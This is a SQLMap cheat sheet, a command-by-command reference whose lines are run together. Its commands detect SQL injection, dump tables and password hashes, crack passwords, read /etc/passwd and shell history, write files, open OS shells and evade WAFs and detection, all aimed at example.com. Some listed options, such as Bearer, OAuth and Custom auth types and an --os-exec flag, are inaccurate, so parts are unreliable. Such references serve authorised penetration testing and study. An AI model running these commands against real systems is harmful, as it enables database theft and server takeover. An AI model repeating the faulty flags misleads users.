
SQLMap is an open-source penetration testing tool used for detecting and exploiting SQL injection vulnerabilities in web applications. It's a command-line tool that automates the process of identifying SQL injection flaws and can also be used to take over database servers. Designed for both beginners and experts, SQLMap offers extensive capabilities, including database fingerprinting, data extraction, and access to underlying file systems.
Installation and Setup
pip install sqlmapgit clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-devcd sqlmap-devpython sqlmap.py -hdocker pull vulnerables/sqlmapdocker run -it --rm vulnerables/sqlmap -u "http://example.com?id=1"From Package Managers — pre-installed on Kali Linux (run directly with sqlmap); on Debian/Ubuntu:
sudo apt update && sudo apt install sqlmapgit pull #From sourcepip install --upgrade sqlmap #Using pipSQL Injection Testing Commands
sqlmap -u "http://example.com?id=1" #Basic Detectionsqlmap -u "http://example.com?id=1" --batch #Automated Mode (No Prompts)sqlmap -u "http://example.com?id=1&search=apple" -p id #Set a Specific Injection Parametersqlmap -u "http://example.com?id=1&category=2" #Multiple Parameters Testingsqlmap -r request.txt #Use a Request File (Burp Suite Export)sqlmap -u "http://example.com" --level=5 --headers="User-Agent: ' OR 1=1 --" #Inject in HTTP Headerssqlmap -u "http://example.com?id=1&search=apple" --cookie="PHPSESSID=xyz123" #Inject with Session Cookiessqlmap -u "http://example.com?id=1" --method=POST --data="username=admin&password=1234" #POST Method Injectionsqlmap -u "http://example.com?id=1" --headers="Content-Type: application/x-www-form-urlencoded" #Custom Content-Type Headersqlmap -u "http://example.com?id=1" --timeout=30 #Set Connection Timeoutsqlmap -u "http://example.com?id=1" --time-sec=10 #Set Time-Delay for Blind SQL Injectionsqlmap -u "http://example.com?id=1" --max-retries=5 #Set Maximum Retries on Failed ConnectionsAuthentication Techniques
sqlmap -u "http://example.com" --auth-type=basic --auth-cred="admin:password" #Basic HTTP Authenticationsqlmap -u "http://example.com" --auth-type=digest --auth-cred="user:password" #Digest Authenticationsqlmap -u "http://example.com" --auth-type=ntlm --auth-cred="DOMAIN\user:password" #NTLM Authenticationsqlmap -u "http://example.com" --cookie="PHPSESSID=xyz123" #Session Cookiessqlmap -u "http://example.com" --headers="X-Forwarded-For: 127.0.0.1, Referer: http://example.com" #Custom Header Injectionsqlmap -u "http://example.com" --proxy="http://127.0.0.1:8080" --proxy-auth="user:password" #Proxy Authenticationsqlmap -u "http://example.com" --tor --tor-type=SOCKS5 --check-tor #Using the Tor Networksqlmap -u "http://example.com" --auth-type=Bearer --auth-cred="Bearer <token>" #Bearer Token Authenticationsqlmap -u "http://example.com" --auth-type=OAuth --auth-cred="OAuth2 <token>" #OAuth2 Authenticationsqlmap -u "http://example.com" --auth-type=Custom --auth-cred="apiKey=<key>" #Custom Authentication using API Keyssqlmap -u "http://example.com" --cookie="sessionid=xyz; user=admin" --auth-type=basic --auth-cred="admin:password" #Combined Session Cookie and Basic AuthDatabase Enumeration
sqlmap -u "http://example.com?id=1" --roles #Get Database Rolessqlmap -u "http://example.com?id=1" --dbs #List Available Databasessqlmap -u "http://example.com?id=1" -D database_name --tables #List Tables in a Specific Databasesqlmap -u "http://example.com?id=1" -D database_name -T table_name --columns #List Columns in a Tablesqlmap -u "http://example.com?id=1" -D database_name -T table_name --dump #Dump Data from a Tablesqlmap -u "http://example.com?id=1" -D database_name -T table_name --dump -C username,password --where="id>10" #Dump Data with Conditionssqlmap -u "http://example.com?id=1" --users #List Database Userssqlmap -u "http://example.com?id=1" --passwords #Crack User Passwordssqlmap -u "http://example.com?id=1" --privileges -U username #Check Privileges of a Usersqlmap -u "http://example.com?id=1" --search="email" #Search for Specific Data in a Tablesqlmap -u "http://example.com?id=1" -D database_name -T users --dump --threads=10 #Dump Data with Multiple Threadssqlmap -u "http://example.com?id=1" --os-shell #Get an Interactive Shell After Database Enumerationsqlmap -u "http://example.com?id=1" --time-sec=5 #Delay Between Requests to Evade DetectionInjection Techniques
sqlmap -u "http://example.com?id=1" --technique=BEUST #Specify Injection Techniques (B: Boolean-based, E: Error-based, U: UNION query-based, S: Stacked queries, T: Time-based blind)sqlmap -u "http://example.com?id=1" --risk=3 --level=5 #Specify Risk and Level (Max Risk = 3, Max Level = 5)sqlmap -u "http://example.com?id=1" --fingerprint #Fingerprint Databasesqlmap -u "http://example.com?id=1" --prefix="' OR " --suffix="--" #Set Payload Injection Pointssqlmap -u "http://example.com?id=1" --technique=E #Use Error-based Injection Onlysqlmap -u "http://example.com?id=1" --technique=U #Use UNION-based Injection Onlysqlmap -u "http://example.com?id=1" --technique=ST #Use Stacked Queries Onlysqlmap -u "http://example.com?id=1" --technique=BT #Use Boolean and Time-based Injection
#Techniques:B: Boolean-based blindE: Error-basedU: UNION query-basedS: Stacked queriesT: Time-based blind
sqlmap -u "http://example.com?id=1" --random-agent #Randomize User-Agentsqlmap -u "http://example.com?id=1" --proxy="http://127.0.0.1:8080" #Use Proxy During InjectionFile and Operating System Access
sqlmap -u "http://example.com?id=1" --file-read=/etc/passwd #Read Files from the Target Serversqlmap -u "http://example.com?id=1" --file-write=/path/to/local/file --file-dest=/path/on/server #Write Files to the Target Serversqlmap -u "http://example.com?id=1" --file-search=password #Search for Files on the Serversqlmap -u "http://example.com?id=1" --os-cmd="whoami" #Run OS Commandssqlmap -u "http://example.com?id=1" --os-shell #Get an Interactive Shellsqlmap -u "http://example.com?id=1" --os-pwn #Execute OS Privilege Escalationsqlmap -u "http://example.com?id=1" --os-exec="/bin/bash -i" #Execute Commands in a Shellsqlmap -u "http://example.com?id=1" --file-read=/home/user/.bash_history #Read Bash History Filesqlmap -u "http://example.com?id=1" --os-cmd="cat /proc/version" #Fetch System Informationsqlmap -u "http://example.com?id=1" --os-cmd="ps aux" #List Running ProcessesOutput and Logging
sqlmap -u "http://example.com?id=1" --output-dir=/path/to/output #Save Output to Directorysqlmap -u "http://example.com?id=1" --dump-format=json #Set Output Formatsqlmap -u "http://example.com?id=1" -v 3 #Verbose Logging
Verbose Levels:0: Quiet (no output)1: Basic Information2: Progress Indicators3: Debugging
sqlmap -u "http://example.com?id=1" --batch #Run Automatically Without Promptssqlmap -u "http://example.com?id=1" --save #Save the State of the Session for Later Resumptionsqlmap -u "http://example.com?id=1" --flush-session #Flush the Current Session and Restartsqlmap -u "http://example.com?id=1" --disable-color #Disable Colored Output for Loggingsqlmap -u "http://example.com?id=1" --log="output.log" #Save Detailed Logs to a FileTampering and Bypassing WAFs
sqlmap -u "http://example.com?id=1" --tamper=space2comment #Use a Tamper Scriptsqlmap -u "http://example.com?id=1" --tamper=space2comment,randomcase #Combine Multiple Tamper Scriptssqlmap -u "http://example.com?id=1" --user-agent="Mozilla/5.0" #Custom User-Agentsqlmap -u "http://example.com?id=1" --random-agent #Randomize User-Agentsqlmap -u "http://example.com?id=1" --delay=2 #Throttle Requestssqlmap -u "http://example.com?id=1" --tamper=between,randomcase #Use Additional Tamper Scriptssqlmap -u "http://example.com?id=1" --referrer="http://example.com" #Custom Referrer Headersqlmap -u "http://example.com?id=1" --no-cast #Disable Auto-CAST for Payloadssqlmap -u "http://example.com?id=1" --tamper=apostrophemask #Tamper Script for Masking ApostrophesReal-World Examples
sqlmap -u "http://example.com/login" --data="username=admin&password=1234" --dbs #Test Login Form for Injectionsqlmap -u "http://example.com?id=1" --batch --dump --threads=10 #Dump All Data in the Fastest Waysqlmap -u "http://example.com?id=1" --passwords --threads=5 #Enumerate and Crack All Passwordssqlmap -u "http://example.com?id=1" --proxy="http://127.0.0.1:8080" --tamper=space2comment --random-agent #Bypass a WAF Using Proxies and Tamper Scriptssqlmap -u "http://example.com?id=1" --random-agent --delay=5 --level=1 --risk=1 #Run as Stealthily as Possiblesqlmap -u "http://example.com/login" --data="username=admin&password=1234" --os-cmd="ls" #Test for OS Command Injectionsqlmap -u "http://example.com?id=1" --dbs --batch --no-cast #Get Databases in One Shot with No Auto-CASTsqlmap -u "http://example.com?id=1" --flush-session --threads=10 #Use Multiple Threads and Flush Session Before Running



